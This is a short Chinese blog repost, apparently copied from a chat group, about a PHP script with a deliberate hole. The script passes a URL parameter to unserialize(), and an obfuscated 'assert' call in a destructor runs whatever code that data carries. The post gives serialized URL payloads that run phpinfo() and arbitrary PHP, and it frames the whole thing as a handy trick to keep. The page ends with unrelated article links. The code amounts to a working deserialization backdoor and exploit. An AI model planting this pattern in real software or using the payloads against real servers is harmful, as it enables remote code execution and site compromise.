群里一个高手写的url?传参执行php函数的小程序, 收藏下
2013-10-22 11:36
281 查看
<?php // +---------------------------------------------------------------------- // | Copyright (c) 2006-2012 KingBin All rights reserved. // +---------------------------------------------------------------------- // | Licensed ( http://www.apache.org/licenses/LICENSE-2.0 ) // +---------------------------------------------------------------------- // | Author: KingBin 1055692563@qq.com // +---------------------------------------------------------------------- error_reporting(0); class test { public $fn=array('a','s','s','e','r','t'); public $str; function __destruct() { $r = join(null,$this->fn); return $r($this->str); } } if($_GET['url']) unserialize($_GET['url']) && die(); show_source(__FILE__); ?>
所以 只要我们提交一个
$o=new test; $o->str='phpinfo()'; 那么是不是就会起到执行phpinfo呢? 所以转换一下 xx.php?url=O:4:"test":1:{s:3:"str";s:9:"phpinfo()";} 就会执行了 这个类~~~~
如
?url=O:4:%22test%22:2:{s:2:%22fn%22;a:6:{i:0;s:1:%22a%22;i:1;s:1:%22s%22;i:2;s:1:%22s%22;i:3;s:1:%22e%22;i:4;s:1:%22r%22;i:5;s:1:%22t%22;}s:3:%22str%22;s:18:%22die('heelo%20world')%22;}
相关文章推荐
- 一个Java程序的执行过程(转)
- 在Linux中定时执行一个程序的方法之at命令
- 显示程序执行时间php函数代码
- Linux入职基础-5.24_可执行程序arpwatch做成系统一个服务(应用实战8)
- 实验七:Linux内核如何装载和启动一个可执行程序
- 自动重启服务器后执行一个程序
- 如何打开一个程序或创建一个进程 (适用与执行CMD命令)
- 微信小程序,如何在返回前一个页面时,执行前一个页面的方法
- linux内核分析第七周-Linux内核如何装载和启动一个可执行程序
- 将Java程序变成可执行文件的一个简单方法
- Linux内核如何装载和启动一个可执行程序
- 以管理员的身份去执行一个程序
- 通过分析一个C程序的汇编指令执行过程,理解计算机的工作。
- delphi 执行一个外部程序,当外部程序结束后言主程序立即响应
- ILMerge将winform程序打包成一个单文件可执行exe
- 程序执行过程的跟踪:(用debug来跟踪一个程序的运行过程) 整理总结
- 判断ShellExecute函数是否执行完一个程序的方法
- Singleton单例模式是最简单的设计模式,它的主要作用是保证在程序执行生命周期中,使用了单类模式的类仅仅能有一个实例对象存在。
- delphi执行一个外部程序,当外部程序结束后,delphi程序立即响应
- Linux内核如何装载和启动一个可执行程序